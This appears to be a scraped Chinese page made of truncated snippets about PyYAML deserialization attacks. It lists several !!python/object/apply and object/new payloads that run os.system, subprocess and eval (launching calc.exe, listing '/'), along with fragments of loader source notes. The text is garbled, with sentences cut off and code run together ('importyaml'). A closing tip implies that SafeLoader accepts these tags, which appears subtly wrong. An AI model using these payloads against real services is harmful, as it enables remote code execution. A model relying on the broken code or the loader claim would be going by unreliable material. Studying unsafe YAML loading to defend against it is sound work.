我已经愉快地编写 Python 长达十多年,所以我已经习惯了显眼的空白,但有时候我仍在和 YAML 抗争。在 Python 中,虽然没有那种长达几页的函数,但数据或配置文件的长度没有这种自然限制,这就带来了缺点和损失了清晰度。 对于小文件,这不是问题,但它确实无法很好地扩展到较大的文件,特别是如果你以后想编辑它们的话...
1. python/object/apply demo: importyaml poc1 ="!!python/object/apply:os.system ['calc.exe']"# yaml.load("""#!!python/object/apply:subprocess.Popen# - calc#""")yaml.load(poc1, Loader=yaml.Loader) 主要经过了construct_python_object_apply该函数进行构造 在load函数中进行了Lodaer的加载,然...
1、从上面的代码中可以看到" !!python/object/new " 标签的代码实现其实就是" !!python/object/apply "标签的代码实现,只是最后newobj参数值不同而已 2、查看官方文档,!!python/object标签的使用格式和另外两个根本就是两码事,其接收参数是使用大括号{}而非中括号[],且并没有对参数args进行接收。也就是说,!
python/object/apply标签 !!python/object/new !!python/module !!python/name 我们通过对于这些Python标签源码的分析,可以发现,都调用了make_python_instance()这个函数方法,所以我们接着往下看make_python_instance() defmake_python_instance(self,suffix,node,args=None,kwds=None,newobj=False,unsafe=False):#用...
python/name:module.namemodule.name!!python/module:package.module package.module!!python/object:module.cls module.cls instance!!python/object/new:module.cls module.cls instance!!python/object/apply:module.f valueoff(...) 1. 2. 3. 4.
!!python/object/apply:os.system args: ['ls /'] 1. 2. 用print(yaml.load(open('a.yaml'))) 运行它,应该给你这样的东西: bin etc lib lost+found opt root sbin tmp var sys boot dev efi home lib64 mnt proc run srv usr 0 1. ...
!!python/object/apply:eval [ 1 * 24 * 60 * 60 ] 如下所示: In [1]: import yaml In [2]: yaml.load("!!python/object/apply:eval [ 1 * 24 * 60 * 60 ]") Out[2]: 86400 这自然与执行 eval(config['some_time']) 相同,但您不必在程序中显式处理它。 原文由 Art Vandelay 发布...
python import yaml poc = '!!python/object/apply:os.system ["calc.exe"]' #给出一些相同用法的POC #poc = '!!python/object/apply:subprocess.check_output [["calc.exe"]]' #poc = '!!python/object/apply:os.popen ["calc.exe"]' #poc = '!!python/object/apply:subprocess.run ["calc.exe...
python/object/new:os.system ["calc.exe"]# !!python/object/new:subprocess.check_output [["calc.exe"]]# !!python/object/apply:subprocess.check_output [["calc.exe"]] 这里的Loader参数已经是必须设置Yaml的加载器,不设置运行是会进行报错的,有普通的Loader、Full_Loader等等,不过还是给使用者留下了...
有时,我们可能会遇到YAML文件中数据的顺序与代码中期望的顺序不一致的情况。这时,可以使用PyYAML库的SafeLoader来加载YAML数据,并在数据中添加!!python/object/apply:ordereddict标记,以保留数据的顺序。以下是一个示例代码: importyamlfromcollectionsimportOrderedDict# 读取YAML文件withopen('data.yaml','r')asfile:#...